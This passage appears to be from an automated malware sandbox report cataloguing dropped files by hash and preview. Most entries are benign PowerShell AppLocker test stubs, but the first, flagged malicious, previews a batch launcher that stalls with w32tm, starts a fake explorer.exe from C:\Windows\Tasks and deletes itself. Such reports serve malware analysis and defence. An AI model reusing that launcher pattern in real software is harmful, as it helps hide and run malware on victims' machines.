Size (bytes):	205
Entropy (8bit):	5.1252939683634215
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DED0/bKOZG1wkn23ft8lJh:HTg9uYDEuf2Jh
MD5:	FCCED44A9CD48BDC79FC377EC2D2D125
SHA1:	3B4F47230F2AB2C5B808DAAA86495EFD2C54F2C8
SHA-256:	884729898CA471474AF614ECBB1024A4FFD766A1BEFE6F7DA3F1BECABA0D9148
SHA-512:	94B6536D9A80A9CD004283604100695E5C36696FFE73BD15815943C4D5E8E7FE5D3772E587E4F9D0D1220007093A1E3137AE67DA341217B11684981B293BFB83
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Windows\Tasks\explorer.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\FfDOv2d6gz.bat"

C:\Users\user\AppData\Local\Temp\RES4E71.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6ec, 10 symbols, created Thu Oct 24 05:51:33 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1956
Entropy (8bit):	4.552716010271973
Encrypted:	false
SSDEEP:	24:HmO9/OYStDfHewKEsmNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+QlUZ:OYSxdKhmMluOulajfqXSfbNtmh1Z
MD5:	1DA7E5D8E0ED53EE149BB6538DFD906D
SHA1:	7B96EA87BFB20ABA93A3946C5B4666F57C9ABA69
SHA-256:	D9BD14A0112A5D78F6E474480E58BEFF136FB94829F8A224F57AC4CF70A0BE0E
SHA-512:	124317E0591F4906187E0ADA1149B078B3D8F4A9ED512BAA36D5BA53B67ED7ECBF1FE3C6A4E3CDB349119A458C1E812DFF5632926BD28E50D8EF14D008BB6B67
Malicious:	false
Preview:	L...e..g.............debug$S........<...................@..B.rsrc$01................h...........@..@.rsrc$02........p...\|...............@..@........=....c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP.....................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RES4E71.tmp.-.<....................a..Microsoft (R) CVTRES.^.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0glu3ptl.svk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0m2hxkk2.k0p.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0vissthq.rdo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1u3j431m.u3w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ux2wwwd.d2z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ept5acp.ipn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hisw2zv.5ey.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jjumk2x.v1e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2zb03q1k.0ab.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3auerdos.qmh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gojeiuz.waa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3niyvjiv.q4x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xmkx0s3.xcb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ao2edkc.1uh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4me3f5d3.4ct.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5y4ozqm.um2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alnlqyx4.har.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avlwhh1y.bue.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btkeq0st.p3u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvtctljy.aky.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1jfhcma.ced.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cobofrco.pbc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ecqyq3md.ssv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_efaynedw.zo1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esuwcigj.hzy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3sq1vkl.jv2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbm41zjy.iil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gvjgmtea.y02.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gw1u3sjd.rb4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gxlde5qe.2a1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_him0y3xa.nuh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

